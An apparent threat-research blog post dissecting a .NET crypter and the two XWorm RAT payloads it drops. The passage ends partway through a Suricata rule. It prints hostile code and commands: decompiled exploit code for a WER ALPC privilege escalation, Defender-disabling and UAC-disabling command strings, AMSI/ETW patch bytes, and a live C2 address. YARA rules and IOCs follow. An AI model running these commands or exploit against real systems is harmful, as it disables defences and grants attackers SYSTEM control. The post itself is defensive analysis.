Cracking a .NET Crypter to Extract a Weaponized XWorm: Bootkit, Rootkit, and a Zero-Day UAC Bypass
Tearing apart a .NET crypter to extract dual XWorm RAT payloads, then decompiling the RAT to find a UEFI bootkit with BlackLotus DBX bypass, an r77 rootkit, driver infection, CVE-2026-20817 zero-day UAC bypass, and D/Invoke API evasion.
I almost skipped this one. A 930KB .NET binary with 8.00 entropy in .text and nothing but mscoree.dll: _CorExeMain in the import table, it looked like another commodity crypter wrapping something boring. The automated triage scored it at 51.2, middle of the queue.
Then I decompiled it and the entire crypter was fifty lines of C#. The PBKDF2 password, AES salt, and IV were sitting in the source code in plaintext. Two encrypted resources decrypted to PE executables. Both were XWorm.
That would have been a decent blog post on its own, a crypter teardown with config extraction. But when I decompiled the XWorm payloads, I found something I wasn’t expecting: a UEFI bootkit that attempts a BlackLotus DBX bypass and LogoFAIL-style exploit, an r77 userland rootkit that injects into every running process, a driver infection module that adds PE sections to Windows kernel drivers, and a zero-day UAC bypass exploiting CVE-2026-20817 via the Windows Error Reporting ALPC service.
This post documents the full chain: cracking the crypter, extracting both payloads, then diving deep into the XWorm source code to map every capability.
The Crypter
Sample
| Property | Value |
|---|---|
| SHA-256 | 27a2505cfd32ca1fda31e58c1d2ddee7e4726b8305fda10b779851e259a2ef9d |
| MD5 | 4e4f12fc574559e8bf84bfe074f4cad5 |
| Size | 930,304 bytes (909 KB) |
| Format | PE32 .NET assembly (.NET 4.x) |
| Entropy | .text section: 8.00 (maximum, fully encrypted) |
| Imports | mscoree.dll: _CorExeMain (single import, pure .NET) |
| Manifest | requireAdministrator, demands elevation on execution |
98% of the file is a single encrypted blob. Only ~3KB of actual .NET IL bytecode, the decryption stub.
Decompiled Crypter (Complete Source)
ILSpy decompiled the entire crypter to a single class. Here it is in full, fifty lines that reveal the entire operation:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
namespace vpppapxqlhunnbxavuims;
internal class vpppapxqlhunnbxavuims
{
// AES-128-CBC decryption with PBKDF2 key derivation
public static byte[] ytxdtmsv(byte[] yjhll)
{
using Aes aes = Aes.Create();
using MemoryStream ms = new MemoryStream();
using (CryptoStream cs = new CryptoStream(ms,
aes.CreateDecryptor(
new Rfc2898DeriveBytes(
"pvpbgplnnimrlzz...crw", // 256-byte PBKDF2 password
Encoding.ASCII.GetBytes("erytiqjdxdutsqckdapnnhprdujedlpd"), // 32-byte salt
100 // 100 iterations
).GetBytes(16), // 16-byte AES key
Encoding.ASCII.GetBytes("xbginlypryzblkfy") // 16-byte IV
), CryptoStreamMode.Write))
{
cs.Write(yjhll, 0, yjhll.Length);
cs.Close();
}
return ms.ToArray();
}
public static void Main()
{
// Step 1: Show fake error dialog (social engineering)
xmcvr(/* powershell -EncodedCommand → MessageBox.Show('Error 0x00005') */);
// Step 2: Disable Windows Defender (add exclusion paths)
xmcvr(/* powershell -EncodedCommand → Add-MpPreference -ExclusionPath */);
// Step 3: Decrypt and drop both payloads from embedded resources
ResourceManager rm = new ResourceManager("hfxrbyaeumiwhqze",
Assembly.GetExecutingAssembly());
for (int i = 0; i < 2; i++)
{
string path = Path.Combine(
Environment.GetEnvironmentVariable("Temp"), // %TEMP%
DecryptString(payloadNames[i]) // "CotoRat Build.exe" / "knb3ewbfwxnbt1sc.exe"
);
File.WriteAllBytes(path, ytxdtmsv((byte[])rm.GetObject(resourceNames[i])));
Process.Start(path); // Execute both
}
}
}
Crypter Decryption Flow
PBKDF2 derives a 16-byte AES key from the 256-byte password + 32-byte salt with 100 iterations, then AES-128-CBC decrypts each resource with a fixed IV
Extracted Crypto Parameters
| Parameter | Value |
|---|---|
| Algorithm | AES-128-CBC |
| Key Derivation | PBKDF2 (Rfc2898DeriveBytes) |
| Password | 256-byte random lowercase string |
| Salt | erytiqjdxdutsqckdapnnhprdujedlpd (32 bytes ASCII) |
| IV | xbginlypryzblkfy (16 bytes ASCII) |
| Iterations | 100 |
| Derived Key | 917c288da08c36158a03ec405bb04140 |
With these parameters, the payloads can be extracted using the Python script in the analysis bundle:
1
python extract_xworm_crypter.py sample.exe -o extracted/
Decoded PowerShell Commands
The crypter runs two hidden PowerShell commands before dropping payloads:
Command 1. Fake error dialog (social engineering):
1
2
Add-Type -AssemblyName System.Windows.Forms;
[System.Windows.Forms.MessageBox]::Show('Error 0x00005','','OK','Error')
This displays a Windows error popup with “Error 0x00005”, designed to make the victim think the file is corrupted and move on, while the payloads silently execute in the background.
Command 2. Windows Defender exclusion:
1
Add-MpPreference -ExclusionPath @($env:UserProfile,$env:SystemDrive) -Force
Adds C:\Users\<user> and C:\ to Defender’s exclusion list, effectively disabling scanning for the entire system drive.
Extracted Payloads
| # | Filename (decrypted) | SHA-256 | Size | Arch | Family |
|---|---|---|---|---|---|
| 1 | CotoRat Build.exe | 710e3226b214aa6d... | 384,512 | x64 | XWorm RAT |
| 2 | knb3ewbfwxnbt1sc.exe | 3ac847a0e3137b7f... | 537,088 | x86 | XWorm RAT (obfuscated) |
Both are .NET assemblies. The x64 variant has plaintext class/method names. The x86 variant is ConfuserEx-obfuscated. Same GUID in both (4a2f8fb6-1077-469a-9246-736e6afe8da1), confirming they’re built from the same XWorm builder.
Payload Comparison
| Feature | Payload 1 (x64) | Payload 2 (x86) |
|---|---|---|
| Architecture | x64 | x86 (WoW64 compatible) |
| Framework | .NET 4.8 | .NET 4.7.2 |
| Masquerade | AMD drivers/software | VoiceMod |
| Obfuscation | None — plaintext class names | ConfuserEx — randomized namespaces |
| Size | 384,512 bytes | 537,088 bytes |
| Config | Plaintext in Config.cs | Encrypted in obfuscated class |
| Purpose | Primary implant (64-bit systems) | Fallback (32-bit / WoW64 persistence) |
The dual drop ensures coverage: the x64 variant runs natively on modern Windows, while the x86 variant works as a fallback on older 32-bit systems or provides WoW64-based persistence (some EDR products monitor 64-bit processes more aggressively than 32-bit ones). Running both simultaneously also makes remediation harder, killing one leaves the other active.
PowerShell Evasion. The Comment Obfuscation Trick
Both PowerShell commands use an interesting anti-detection technique, they insert junk comments (<#xxx#>) between every keyword to break signature-based detection:
1
2
3
4
5
6
7
8
9
10
11
12
# Command 1 — Fake error (as delivered):
<#mes#>Add-Type -AssemblyName System.Windows.Forms;<#plk#>[System.Windows.Forms.MessageBox]::Show('Error 0x00005','','OK','Error')<#ryw#>
# What it actually does (comments stripped):
Add-Type -AssemblyName System.Windows.Forms;
[System.Windows.Forms.MessageBox]::Show('Error 0x00005','','OK','Error')
# Command 2 — Defender exclusion (as delivered):
<#rus#>Add-MpPreference <#kgg#> -ExclusionPath @($env:UserProfile,$env:SystemDrive) <#wjh#> -Force <#lyn#>
# What it actually does (comments stripped):
Add-MpPreference -ExclusionPath @($env:UserProfile,$env:SystemDrive) -Force
The junk tags (<#mes#>, <#plk#>, <#ryw#>, <#rus#>, <#kgg#>, <#wjh#>, <#lyn#>) are random 3-letter strings that break the Add-MpPreference and MessageBox signatures that AMSI and AV products scan for. PowerShell’s parser treats them as valid comments and ignores them.
Both commands are Base64+UTF-16LE encoded and passed via powershell.exe -EncodedCommand in a hidden window (WindowStyle.Hidden, CreateNoWindow=true), the victim never sees PowerShell flash on screen.
Kill Chain
Crypter → fake error + Defender exclusion → decrypt dual payloads → XWorm boot sequence → CVE-2026-20817 → AMSI/ETW patch → persistence (5 methods) → bootkit + rootkit → C2 beacon
XWorm RAT: The Decompiled Source
The x64 payload decompiled cleanly to 33 C# source files across 3 namespaces (Client, Client.Helper, Leb128). No obfuscation, every class and method name is readable. Here’s the complete capability map.
Configuration
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// From Config.cs — XWorm C2 configuration
public static string Hosts = "195.10.205.179:25565"; // C2 server
public static string Group = "Superiority"; // Campaign tag
public static string Mutex = "yp07tia%jr+2"; // Instance lock
public static string Key = "cky9r4ytydhcwji3z3dizpj"; // Encryption key
public static string Version = "1.0"; // XWorm version
public static string TaskClient = "Windows Perfoment Host"; // Sched task name
public static string TaskWatchDog = "OneDrive Downloader"; // Watchdog task
public static string PathClient = "%LocalAppData%\MalwareDefenderW3eb32.exe";
public static string PathWatchDog = "%Windows%\BootExecutor.exe";
public static string RegKey = "Software\gogoduck"; // Registry hive
// Feature flags — ALL enabled in this build
public static bool Install = true;
public static bool BootKit = true; // UEFI bootkit!
public static bool Rootkit = true; // r77 rootkit!
public static bool InstallWatchDog = true;
public static bool ExclusionWD = true; // Defender exclusion
public static bool UserInit = true; // Userinit hijack
public static bool CmdlineAutorun = true; // Setup\CmdLine persistence
Pastebin fallback C2 is supported, if Hosts starts with PASTEBIN:, XWorm fetches the real C2 address from a Pastebin raw URL.
Boot Sequence
When the XWorm payload starts, it executes this initialization chain (from Program.cs):
- Config.Init(), decode config, collect hardware ID, GPU, CPU, AV, GeoIP (
ip-api[.]com) - CVE-2026-20817. UAC bypass via Windows Error Reporting ALPC (if not admin)
- AdvancedBootkit.Deploy(). UEFI/MBR bootkit installation (new thread)
- Rootkit.Initialize(), r77 rootkit DLL injection
- AsmiAndETW.Bypass(), patch AMSI + ETW in memory
- AntiProcess.Start(), kill debuggers every 2.5 seconds
- Install.Run(). 5 persistence mechanisms
- Mutex check, single instance enforcement
- SetProcessCritical(). BSOD on kill (
RtlSetProcessIsCritical) - Connect C2. TCP+TLS 1.2 to
195[.]10[.]205[.]179:25565
CVE-2026-20817: Zero-Day UAC Bypass via WER ALPC
Shared memory → ALPC connect to WER service → send message with method=13 → WER executes command as SYSTEM
The most dangerous capability in this build. UACBypass.cs exploits the Windows Error Reporting service via ALPC (Advanced Local Procedure Call) to execute commands as NT AUTHORITY\SYSTEM without any user interaction.
Here is the actual decompiled exploit code from UACBypass.cs:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
// Decompiled from UACBypass.ExploitCVE202620817()
private static bool ExploitCVE202620817(string commandLine)
{
// 1. Create anonymous shared memory section (520 bytes)
IntPtr hMapping = CreateFileMapping(
new IntPtr(-1), // INVALID_HANDLE_VALUE = page file backed
IntPtr.Zero, // default security
PAGE_READWRITE, // 0x04
0, 520, // 520 bytes
null); // unnamed
// 2. Map the section and write the command
IntPtr pShared = MapViewOfFile(hMapping, FILE_MAP_WRITE, 0, 0, 520);
byte[] cmdBytes = Encoding.Unicode.GetBytes(commandLine + "\0");
Marshal.Copy(cmdBytes, 0, pShared, Math.Min(cmdBytes.Length, 520));
// 3. Connect to WER service via ALPC
UNICODE_STRING portName = default;
RtlInitUnicodeString(ref portName, "\\WindowsErrorReportingService");
ConnectMsg connectMsg = new ConnectMsg {
MessageId = 13, // method 13 = execute command
Unknown = 0
};
NtAlpcConnectPort(out IntPtr hPort, ref portName, ...);
// 4. Send the exploit message
WER_ALPC_MESSAGE msg = new WER_ALPC_MESSAGE {
method = 13, // execute command
processId = (uint)Process.GetCurrentProcess().Id,
sharedMemoryHandle = (uint)hMapping.ToInt64(), // handle to our command
commandLineLength = (uint)(commandLine.Length * 2),
};
return NtAlpcSendWaitReceivePort(hPort, 0, ref msg, ...) == 0;
}
And the command string that gets executed as SYSTEM (from UACBypass.Run()):
1
2
3
4
5
6
7
8
9
10
cmd.exe /c
reg add "HKLM\...\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f &
reg add "HKLM\...\Policies\System" /v ConsentPromptBehaviorAdmin /d 0 /f &
reg add "HKLM\...\Policies\System" /v PromptOnSecureDesktop /d 0 /f &
reg add "HKLM\...\Policies\System" /v FilterAdministratorToken /d 0 /f &
reg add "HKLM\...\Windows Defender\Features" /v TamperProtection /d 0 /f &
reg add "HKLM\...\Windows Defender" /v DisableAntiSpyware /d 1 /f &
sc stop WinDefend &
sc config WinDefend start= disabled &
start /b "" "C:\path\to\xworm.exe" --elevated
A single ALPC message disables UAC, disables Defender tamper protection, disables Defender entirely, stops the WinDefend service, disables it from starting, and re-launches XWorm with admin privileges. All without the user seeing a UAC prompt.
AMSI + ETW Bypass via D/Invoke
Force-load amsi.dll → resolve via D/Invoke → set RWX → patch AmsiScanBuffer → patch EtwEventWrite → flush cache
AsmiAndETW.cs patches security telemetry in memory. The key insight is the forced AMSI initialization, if amsi.dll isn’t loaded yet, the code deliberately calls Assembly.Load() with garbage bytes, which triggers the .NET runtime to load amsi.dll, and then immediately patches it. All API resolution goes through DInvokeCore to avoid static import detection:
1
2
3
4
5
6
7
8
9
// AMSI patch (x64): makes AmsiScanBuffer return AMSI_RESULT_CLEAN
byte[] amsiPatch = { 0xB8, 0x34, 0x12, 0x07, 0x80, // mov eax, 0x80071234
0x66, 0xB8, 0x32, 0x00, // mov ax, 0x32
0xB0, 0x57, // mov al, 0x57
0xC3 }; // ret
// ETW patch (x64): makes EtwEventWrite return 0 (success, but logs nothing)
byte[] etwPatch = { 0x48, 0x33, 0xC0, // xor rax, rax
0xC3 }; // ret
If amsi.dll isn’t loaded yet, the code deliberately triggers AMSI initialization by calling Assembly.Load() with garbage bytes, forcing .NET to load amsi.dll, then immediately patches it.
UEFI Bootkit (AdvancedBootkit.cs)
The most complex module. 500+ lines implementing pre-OS persistence:
UEFI/GPT path:
- BlackLotus DBX bypass: reads the UEFI
dbxrevocation database viaGetFirmwareEnvironmentVariableW, checks for BlackLotus revocation hashes, attempts to overwritedbxwith empty data to remove revocations - LogoFAIL-style exploit: drops a malicious BMP to
\EFI\Microsoft\Boot\bootmgfw.efi.logo.bmpto exploit UEFI firmware image parser vulnerabilities - ESP stager: mounts the EFI System Partition, backs up
bootmgfw.efi, drops an XOR-decoded EFI payload (key:{A7, 3B, F1, 9E, 5D, 2C, 8A, 4F}), redirects boot viabcdedit /set {bootmgr} path \EFI\Microsoft\Recovery\SecUpdate.efi - Linux patching: appends
insmodlines to GRUB configs for Ubuntu, Fedora, Debian, Arch, CentOS - DXE injection: writes payload as
DxeCore.efiand modifies UEFI DriverOrder
MBR/Legacy path:
- Reads current MBR from
\\.\PhysicalDrive0 - Loads embedded MBR payload from resource (validated for
0x55AAboot signature) - Preserves partition table (bytes 446-509)
- Overwrites MBR directly
- Disables integrity checks via
bcdedit /set TESTSIGNING ON
r77 Userland Rootkit (Rootkit.cs)
DLL unhooking → registry config → mass DLL injection into ALL running processes every 5 seconds
Implements the r77 rootkit for process/file/registry hiding:
- DLL unhooking: reads clean copies of
ntdll.dll,kernel32.dll,kernelbase.dllfrom disk and overwrites their.textsections in memory, removing EDR hooks - Registry config: creates
HKLM\SOFTWARE\$77configwith PIDs, process names, file paths, and registry keys to hide - Mass injection: every 5 seconds, injects
r77-x64.dllorr77-x86.dllinto every running process viaVirtualAllocEx→WriteProcessMemory→CreateRemoteThread(LoadLibraryW) - Shutdown cleanup: hidden
Formlistens forWM_QUERYENDSESSIONto clean up$77registry keys before reboot
Driver Infection (DriverInfector.cs)
Infects Windows kernel-mode drivers by adding new PE sections:
Targeted drivers (non-critical, unlikely to break the system): null.sys, beep.sys, rasl2tp.sys, raspppoe.sys, raspptp.sys, modem.sys, parport.sys, serenum.sys, serial.sys, usbprint.sys
Infection technique:
- Parses the target driver’s PE headers
- Adds
.infsection (XOR-decoded malware payload from embedded resource) - Adds
.cfgsection (path to dropped client:%ProgramData%\WindowsControl\svchost.exe) - Updates section count,
SizeOfImage,AddressOfEntryPoint, and recalculates PE checksum - Replaces original driver with infected version (TrustedInstaller impersonation)
Persistence (Install.cs). 5 Methods
Five persistence mechanisms plus UEFI bootkit, designed to survive any single remediation attempt
| # | Method | Location |
|---|---|---|
| 1 | Scheduled Task (logon) | schtasks /create /sc onlogon /tn "Windows Perfoment Host" |
| 2 | Scheduled Task (watchdog) | schtasks /create /sc minute /mo 30 /tn "OneDrive Downloader" |
| 3 | Userinit hijack | HKCU\...\winlogon\Userinit, appends malware path |
| 4 | Setup\CmdLine | HKLM\SYSTEM\Setup\CmdLine, runs during Windows setup mode |
| 5 | Registry Run key | HKCU\...\Run — standard autorun (fallback) |
| 6 | AppInit_DLLs | HKLM\...\Windows\AppInit_DLLs, loaded into every GUI process |
| 7 | UEFI Bootkit | ESP stager or MBR overwrite, survives OS reinstall |
Additional: file pumping inflates the installed binary by 700MB+ of null bytes to evade AV file-size scanning limits.
Windows Defender Kill (WindowsDefender.cs)
The most thorough Defender disablement I’ve seen in any sample. 17+ settings disabled:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// Via WMI MSFT_MpPreference:
DisableRealtimeMonitoring = true
DisableBehaviorMonitoring = true
DisableBlockAtFirstSeen = true
DisableIOAVProtection = true
DisableScriptScanning = true
DisableArchiveScanning = true
DisableIntrusionPreventionSystem = true
DisablePrivacyMode = true
EnableControlledFolderAccess = 0
PUAProtection = 0
DisableAntiSpyware = true
DisableAntiVirus = true
// All threat actions set to "Allow" (6)
// MAPS reporting disabled, sample submission disabled
// Service stopped via "sc stop WinDefend"
// TamperProtection set to 0
Anti-VM Detection (AntiVirtual.cs)
Seven detection methods, any of which triggers Environment.Exit(0):
| Check | Method |
|---|---|
| Sandbox DLLs | Scans loaded modules for SbieDll.dll (Sandboxie), snxhk.dll (Avast), cmdvrt32.dll (Comodo) |
| WMI cache | Win32_CacheMemory returns 0 results in VMs |
| WMI model | Win32_ComputerSystem.Model contains “virtual”, “vmware”, “vbox”, “thinapp” |
| Disk size | System drive < 45 GB = VM (via D/Invoke GetDiskFreeSpaceEx) |
| VirtIO drivers | Checks System32\drivers for balloon.sys, netkvm.sys, viofs.sys, viostor.sys, etc. |
| QEMU/SPICE | Checks Program Files for qemu-ga and SPICE Guest Tools directories |
| Sandbox path | Executable path contains “sandbox” |
Bypass: setting environment variable DISABLE_ANTIVIRTUAL=1 skips all checks, useful for the operator during testing.
Plugin System (PluginLoader.cs)
XWorm’s capabilities are modular, the core RAT is a launcher, and features like keylogger, screen capture, file manager, and reverse shell are delivered as plugins from the C2:
1
2
3
4
5
6
7
8
9
// From PluginLoader.cs — reflective .NET assembly loading
public static void Load(byte[] pluginBytes, object[] parameters)
{
Assembly assembly = AppDomain.CurrentDomain.Load(pluginBytes);
Type pluginType = assembly.GetType("Plugin.Plugin");
object instance = Activator.CreateInstance(pluginType);
// Passes: socket, certificate, HWID, message data
pluginType.GetMethod("Run").Invoke(instance, parameters);
}
The SaveInvoke command caches plugins in the registry (HKCU\Software\gogoduck) as Base64-encoded binary values, they persist across reboots and reload automatically without re-downloading from C2.
Encryption (EncryptString.cs + Xor.cs)
Two encryption schemes:
- Config strings: XOR with a cyclic key from the
encfield. If no custom key was set by the builder, strings are stored in plaintext, which is the case for this sample. - Resources (TLS certificate, driver payload): RC4 encryption despite the class being named
Xor.cs. The implementation is a full RC4 KSA + PRGA.
Hardware Fingerprinting (HwidGenerator.cs)
Generates a unique victim ID by MD5-hashing: Win32_DiskDrive.Model + Manufacturer + Name + Win32_Processor.Name + Windows version + GPU + install date + processor count. Cached in HKCU\Software\gogoduck\Hwid.
File Protection (SecrityHidden.cs)
Protects malware files from deletion by locking down ACLs:
- Denies Write, Delete, ChangePermissions, TakeOwnership to Everyone (
S-1-1-0) and Users (S-1-5-32-545) - If admin: also denies SYSTEM (
S-1-5-18) and Administrators (S-1-5-32-544) - Sets file owner to SYSTEM
- Grants only ReadAndExecute
- Sets
Hidden | Systemfile attributes
This makes the installed binary undeletable even by the logged-in administrator without first running the Unlock() method.
Process Killer (AntiProcess.cs)
Background thread that kills debuggers and analysis tools every 2.5 seconds. Matches by both process name and window title against a configurable list in Config.DebuggerList.
Continuous Surveillance (PingChecker.cs)
Every 10 seconds, sends a heartbeat to C2 with:
- Round-trip latency measurement
- Active window title (what the victim is currently looking at)
- 100x100 JPEG screenshot thumbnail
This provides the operator with real-time visual surveillance even when no plugin is loaded.
Critical Process Protection
Methods.SetProcessCritical() calls RtlSetProcessIsCritical via D/Invoke, killing XWorm causes a Blue Screen of Death. Combined with Methods.PreventSleep() (SetThreadExecutionState with ES_CONTINUOUS | ES_SYSTEM_REQUIRED | ES_DISPLAY_REQUIRED), the system never sleeps and the RAT never stops.
C2 Protocol
- Transport: TCP + TLS 1.2 (
SslStreamwith certificate validation completely disabled.ValidateServerCertificate()always returnstrue) - Serialization: Custom LEB128 binary protocol supporting 13 data types (string, bool, byte, short, int, long, float, double, byte[], ushort, uint, ulong, nested arrays)
- Beacon: 19-field
Connectmessage with screenshot thumbnail, HWID, GeoIP, CPU, GPU, AV, privilege level, active window - Heartbeat:
Ping/Pongevery 10 seconds with screenshot + active window title - Timeout: 60 seconds without response triggers disconnect + reconnect (
LastPing.cs) - Commands:
Invoke(load plugin),SaveInvoke(cache + load),Update,Restart,Exit,Uninstall - Host selection: Supports multiple
host:port1,port2entries separated by;, selects randomly
IOC Appendix
Network Indicators
| Type | Value | Context |
|---|---|---|
| IP | 195[.]10[.]205[.]179 | C2 server |
| Port | 25565/tcp | C2 port (TLS 1.2) |
| URL | hXXp://ip-api[.]com/line/ | GeoIP lookup |
Host Indicators
| Type | Value | Context |
|---|---|---|
| Mutex | yp07tia%jr+2 | XWorm instance lock |
| Registry | HKCU\Software\gogoduck | Config/plugin storage |
| Registry | HKLM\SOFTWARE\$77config | r77 rootkit config |
| Scheduled Task | Windows Perfoment Host | XWorm persistence |
| Scheduled Task | OneDrive Downloader | Watchdog (30-min) |
| File | %LocalAppData%\MalwareDefenderW3eb32.exe | Installed XWorm path |
| File | %Windows%\BootExecutor.exe | Watchdog path |
| File | %ProgramData%\WindowsControl\svchost.exe | Driver infection drop |
| Process | AMD drivers/software (assembly title) | Masquerade (payload 1) |
| Process | VoiceMod (assembly title) | Masquerade (payload 2) |
File Hashes
| Artifact | SHA-256 |
|---|---|
| Crypter (outer) | 27a2505cfd32ca1fda31e58c1d2ddee7e4726b8305fda10b779851e259a2ef9d |
| XWorm x64 (payload 1) | 710e3226b214aa6d3ab65bb3d8899ea533bdfc6da28602328c5912567c9bcf0c |
| XWorm x86 (payload 2) | 3ac847a0e3137b7fe4b83a677bbb68ac2fa5043e276fa44d13b6c58be189f943 |
MITRE ATT&CK Mapping
| ID | Technique | Evidence |
|---|---|---|
| T1542.003 | Pre-OS Boot: Bootkit | UEFI ESP stager, MBR overwrite, BlackLotus DBX bypass |
| T1542.001 | Pre-OS Boot: System Firmware | LogoFAIL-style UEFI exploit, DXE injection |
| T1014 | Rootkit | r77 userland rootkit via DLL injection into all processes |
| T1055.001 | Process Injection: DLL Injection | VirtualAllocEx → WriteProcessMemory → CreateRemoteThread(LoadLibraryW) |
| T1068 | Exploitation for Privilege Escalation | CVE-2026-20817 (WER ALPC) |
| T1548.002 | Abuse Elevation Control: UAC Bypass | Registry-based UAC disable + WER ALPC exploit |
| T1562.001 | Impair Defenses: Disable or Modify Tools | AMSI+ETW patching, Defender WMI disable, WdFilter unload, anti-process |
| T1562.004 | Impair Defenses: Disable System Firewall | netsh advfirewall exception |
| T1547.001 | Boot or Logon Autostart: Registry Run Keys | Userinit hijack, Registry Run, AppInit_DLLs |
| T1053.005 | Scheduled Task | Logon task + 30-min watchdog |
| T1106 | Native API | D/Invoke dynamic API resolution (no static imports) |
| T1027 | Obfuscated Files | XOR/RC4 encrypted resources, PBKDF2/AES crypter |
| T1059.001 | Command and Scripting: PowerShell | Encoded PowerShell commands |
| T1036 | Masquerading | “AMD drivers/software”, “VoiceMod” assembly titles |
| T1497 | Virtualization/Sandbox Evasion | WMI, disk size, VirtIO drivers, sandbox DLL checks |
Code Weaknesses and Defensive Opportunities
Despite the impressive feature set, the XWorm source reveals several exploitable flaws that defenders can leverage.
TLS Certificate Validation Is Completely Disabled. Full MITM
The C2 connection uses TLS 1.2, but the certificate validation callback is a one-liner that accepts anything:
1
2
3
4
5
6
// From Client.cs — the entire TLS validation
private bool ValidateServerCertificate(object sender, X509Certificate certificate,
X509Chain chain, SslPolicyErrors sslPolicyErrors)
{
return true; // accepts ANY certificate, including self-signed or attacker-controlled
}
A defender with network position can MITM the TLS connection to 195[.]10[.]205[.]179:25565 with any self-signed certificate. The XWorm client will accept it. Once in position, the defender can:
- Send
Uninstallto trigger full cleanup - Send
Exitto kill the process - Send a cleanup plugin via
Invoke(see below)
Plugin System Has Zero Integrity Checks. Inject Cleanup Code
The PluginLoader.Load() method calls AppDomain.CurrentDomain.Load() on Base64-decoded bytes with no hash verification, no signature check, no sandboxing:
1
2
3
4
5
6
// From PluginLoader.cs — any .NET assembly is accepted
Type type = AppDomain.CurrentDomain.Load(
Convert.FromBase64String(registryValue)
).GetType("Plugin.Plugin");
Activator.CreateInstance(type);
type.GetMethod("Run").Invoke(instance, parameters);
A C2 impersonator can send a SaveInvoke command with a custom .NET assembly that:
- Removes all persistence (scheduled tasks, registry keys, Userinit hijack)
- Cleans up the rootkit (
$77config,$77dll32,$77dll64registry keys) - Deletes the installed binary and watchdog
- Restores the original bootloader from backup
- Terminates the XWorm process
The plugin is even cached in the registry (HKCU\Software\gogoduck) and reloaded on every restart, meaning a cleanup plugin persists across reboots.
Developer Left Debug Backdoors. Environment Variable Bypass
Two environment variables completely disable XWorm’s protection:
1
2
3
4
5
6
// From Config.cs — the developer's testing backdoors
string env1 = Environment.GetEnvironmentVariable("DISABLE_ANTIVIRTUAL");
if (env1 == "1") { /* skip ALL anti-VM checks */ }
string env2 = Environment.GetEnvironmentVariable("DISABLE_PATCHING");
if (env2 == "1") { SafeMode = "true"; /* skip AMSI+ETW patching */ }
An incident responder can set DISABLE_ANTIVIRTUAL=1 on a sandbox machine to force the sample to execute (bypassing all 7 anti-VM checks), and DISABLE_PATCHING=1 to prevent AMSI/ETW from being patched, keeping full telemetry active during analysis.
Rootkit DLLs Stored in Predictable Registry + Temp Path
The r77 rootkit DLLs are stored at fixed, predictable locations:
- Registry:
HKLM\SOFTWARE\$77dll32and$77dll64(binary values) - Temp directory:
%TEMP%\$77temp\{GUID}.dll - Config:
HKLM\SOFTWARE\$77configwith PIDs, paths, and registry keys to hide
A defender can:
- Delete the
$77dll*registry values to break rootkit propagation on next reboot - Monitor
$77tempdirectory creation as a high-fidelity detection signal - Query
$77configto discover exactly which processes, files, and registry keys the rootkit is hiding
All Config and Plugins Readable from Registry
Everything XWorm stores is under HKCU\Software\gogoduck with default permissions, any process running as the same user can read it:
1
reg query "HKCU\Software\gogoduck"
This exposes: cached plugin DLLs (Base64), hardware ID, and any saved configuration. For incident response, this is a treasure trove of forensic evidence.
The “Perfoment” Typo Is a Detection Gift
The scheduled task name Windows Perfoment Host contains a typo. “Perfoment” instead of “Performance.” This is a high-fidelity detection signal with near-zero false positive rate. No legitimate Windows component uses this string:
1
schtasks /query /tn "Windows Perfoment Host"
If this returns a result, the machine is infected with this XWorm variant.
Pastebin C2 Fallback Has No Authentication
The Pastebin-based C2 retrieval fetches the C2 address from a public Pastebin raw URL with zero authentication:
1
text = "https://pastebin.com/raw/" + pastebinId;
If the Pastebin paste ID is discovered (from memory dump or network capture), a defender can:
- Report the paste to Pastebin for takedown (breaks the C2 fallback)
- Monitor the paste URL for new C2 addresses (passive intelligence)
- Replace the paste content with a sinkhole address (if the operator used an account the defender can access)
Detection
YARA Rules
Four rules. Full file: rats/xworm/xworm_crypter_and_rat.yar
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
import "pe"
rule XWorm_NET_Crypter_PBKDF2 {
meta:
description = "Detects .NET crypter using PBKDF2/AES-128-CBC with encrypted payloads"
author = "Tao Goldi"
version = 1
family = "XWorm Crypter"
strings:
$pbkdf2 = "Rfc2898DeriveBytes" ascii wide
$crypto = "CreateDecryptor" ascii wide
$salt = "erytiqjdxdutsqckdapnnhprdujedlpd" ascii wide
$iv = "xbginlypryzblkfy" ascii wide
condition:
uint16(0) == 0x5A4D and
pe.imports("mscoree.dll") and
(($salt and $iv) or ($pbkdf2 and $crypto and $salt))
}
rule XWorm_RAT_v1_LEB128 {
meta:
description = "Detects XWorm RAT with LEB128 protocol + D/Invoke + AMSI bypass"
author = "Tao Goldi"
version = 1
family = "XWorm"
strings:
$leb = "LEB128" ascii wide
$dinv = "DInvokeCore" ascii wide
$amsi = "AsmiAndETW" ascii wide
$cls1 = "AntiVirtual" ascii wide
$cls2 = "PluginLoader" ascii wide
$cls3 = "SecrityHidden" ascii wide
condition:
uint16(0) == 0x5A4D and
pe.imports("mscoree.dll") and
((2 of ($leb, $dinv, $amsi)) or (2 of ($cls*) and ($leb or $dinv)))
}
rule XWorm_RAT_AdvancedBootkit {
meta:
description = "Detects XWorm with UEFI bootkit + rootkit + driver infection"
author = "Tao Goldi"
version = 1
family = "XWorm"
strings:
$boot1 = "AdvancedBootkit" ascii wide
$boot2 = "BlackLotusDbxBypass" ascii wide
$boot3 = "bootmgfw.efi" ascii wide
$root1 = "r77-x86.dll" ascii wide
$root2 = "$77config" ascii wide
$drv = "DriverInfector" ascii wide
condition:
uint16(0) == 0x5A4D and
pe.imports("mscoree.dll") and
(2 of ($boot*) or 2 of ($root*) or ($drv and 1 of ($boot*)))
}
rule XWorm_RAT_Config_Superiority {
meta:
description = "Detects this XWorm build -- 'Superiority' campaign"
author = "Tao Goldi"
version = 1
family = "XWorm"
strings:
$c2 = "195.10.205.179" ascii wide
$mutex = "yp07tia%jr+2" ascii wide
$group = "Superiority" ascii wide
$task = "Windows Perfoment Host" ascii wide
condition:
uint16(0) == 0x5A4D and (($c2 and $mutex) or ($group and $task))
}
Suricata
1
2
3
4
5
6
7
alert tcp $HOME_NET any -> $EXTERNAL_NET 25565 (
